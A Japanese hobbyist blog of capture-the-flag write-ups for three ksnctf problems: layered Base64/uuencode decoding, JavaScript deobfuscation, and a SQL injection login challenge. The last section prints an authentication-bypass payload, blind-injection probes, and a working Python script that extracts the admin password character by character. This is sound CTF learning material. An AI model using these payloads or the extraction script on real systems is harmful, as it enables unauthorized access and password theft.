ChogeLog

主にセキュリティ関係の記録やWrite-up。たまーに日記も。

#5 Onion

気づけば1ヶ月ぶりの更新(゜Д゜)

問題はこちらのサイト
http://ksnctf.sweetduet.info/problem/5

長い文があるだけ(・ω・)

とりあえずハッシュ化したら答え出たりしないかなーと思ったけど、まぁ出るわけもなく。笑

調べたところ、どうやらBase64エンコードされた文字列らしい。
見極め方はよく分からないんだけど、数字よりもアルファベットの方が多いのが特徴なのかな?
末尾に「 = 」があれば分かりそうだけど(-ω-)

ということで、とりあえずネット上でデコードしてくれるサイトを探してこの文字列をBase64でデコードしてみる。
が、全然解読されず('Д')

問題名がOnionだから、たぶん何回もデコードしていくのかなぁと予想。(皮を何枚も剥くみたいな?)
で、デコードを何回も繰り返していくと・・・でた!

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
 
end

ナニコレ(゚д゚)!?
Base64では使われていない記号が含まれているからこれ以上デコードできず。
で、「begin 666」とかで調べてみると・・・uuencodeっていうのでエンコードされたときの出力らしい('ω')

特徴として、

  • begin 3桁の数字 ファイル名 で始まり、
  • end で終わる

らしい。
ちなみに3桁の数字はパーミッションを表している。アクセス許可とかのヤツですね(・∀・)

ということで、この文字列をuuencodeでデコードしてみると・・・フラグゲットーーー!

uuencodeもオンライン上のサービスを探して利用しました(;^ω^)
本当はBase64uuencodePythonとかでプログラムを作った方が良いんだろうけど、uuencodeはPython3系では面倒くさいっぽいので今回はやめときました。。
でも今後必要になると思うから、暇なときに作っておこう(^^;)

Base64uuencodeエンコード手法について名前は知ってたけど、実際にどういう仕組みでやってるのかは知らなかったから、今回良い勉強になったと思う(`・ω・´)
wikiに分かりやすく書いてあるので知らない人は是非wikiを!(笑)

実際にCTFを解くときは、どのエンコード手法が使われたのか、気づきが重要になりそうですねー。

#3 Crawling Chaos

問題


フォームが1つあるだけ。

解法

とりあえずソースコードを見てみる

難読化JavaScriptコードがありますねー
これは得意分野(/・ω・)/

解読方法は色々あると思うけど、自分はChromeデベロッパーツールに慣れているので、それで開いてみる。
この程度の難読化なら、スクリプトの開始部分にブレイクポイントを設定して、コードの実行処理を追っていけば解読できる。

で、JavaScriptデバッグしていくと・・・

あっさり解読完了('Д')

コードを見ると・・・
フォームに正しい文字列を入力すると「(」・ω・)」うー!(/・ω・)/にゃー!」と書かれたアラートが表示される。
正しい文字列というのが、配列のi番目/iの値をASCII文字に変換して、連結したもの。

解析コードは書く必要もないと思うけど、一応書いておきます。

int_array = [70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449]
count = 1
flag = ""
for x in int_array:
    flag += chr(int(x/count))
    count += 1

print(flag)

これを実行するとフラグをゲット!
確認として、フォームにこの文字列を入力すると・・・

ってことで、フラグゲットー(/・ω・)/


普段、実際に攻撃をするような悪性Webサイトの難読化コードを解読してる自分にとっては簡単でしたね。。

#6 Login

はじめに

この問題は自力で解いたわけではなく、他の方のWrite-upを読んで解きました。
自分の勉強用として書いておきます。

問題

SQLインジェクションをしろっていう問題ですねー

解法

とりあえず定番のIDに「admin」、Passに「' OR 1=1 --」と打ち込んでみる・・・

あっさりログインできてしまったけど、さすがにそれでフラグが貰えるわけではないらしい。
adminのパスワードを取得しろって問題みたい('Д')

けど、自分はSQLの知識が全くないのでこれ以上どうすればいいか分からず、Write-upを探してみた…(笑)

↓参考にしたサイト↓
ネットワークエンジニア ひよこ倶楽部 ksnctf #6 Login Write-Up

まずはパスワードの文字数を調べる!

admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100--

こういう構文で調べれるみたい。
ID欄にこのSQL文を書いて、Pass欄はコメントアウトされるから空白でもOK

この場合、IDがadminかつ、adminのパスワードが100文字以下ならtrueを返すようになっている。
だから、「100」の数字を適当に変えていけばパスワードの文字数が分かる。
その結果、パスワードの文字数は・・・21文字だと判明!

文字数が分かったところで、次はいよいよパスワードを取得してみる。

使用するSQL文はコレ

admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)='F'--

IDがadminかつ、adminのパスワードの1文字目がFならばtrueを返す。
「substr((--省略--),1,5)='Flag'」って書けば、adminのパスワードの1文字目~4文字目が「Flag」ならばtrueが返されてログインできる。

あとはこのSQL文を使って効率の良いブルートフォースアタックをするプログラムを書いて実行するだけ!
勉強中のPythonで書いてみました(・ω・)

import requests


def search(count, passwd):
    for x in range(33, 127):
        payload = {'id': "admin' and substr((SELECT pass FROM user WHERE id ='admin'),1," + str(count) + ")='" + passwd + chr(x) + "'--", 'pass': ""}
        r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload)
        html = r.text
        if len(html) > 2000:
            print(chr(x))
            return chr(x)

password = ""
for i in range(1, 22):
    password += search(i, password)

print("Flag is " + password)

初めてPythonで関数を使ってみた…(笑)

出力結果を確認すると・・・フラグゲットー!


これ、ブラインドSQLインジェクションっていう攻撃みたい?
ブルートフォースするしかこの問題を解くことはできないのかなぁー・・・?
CTFによってはブルートフォース禁止のルールもあるみたいだし、あまりしたくないというか…

でもその前にSQL勉強するしかないよね…(´Д`)(あまり興味ない)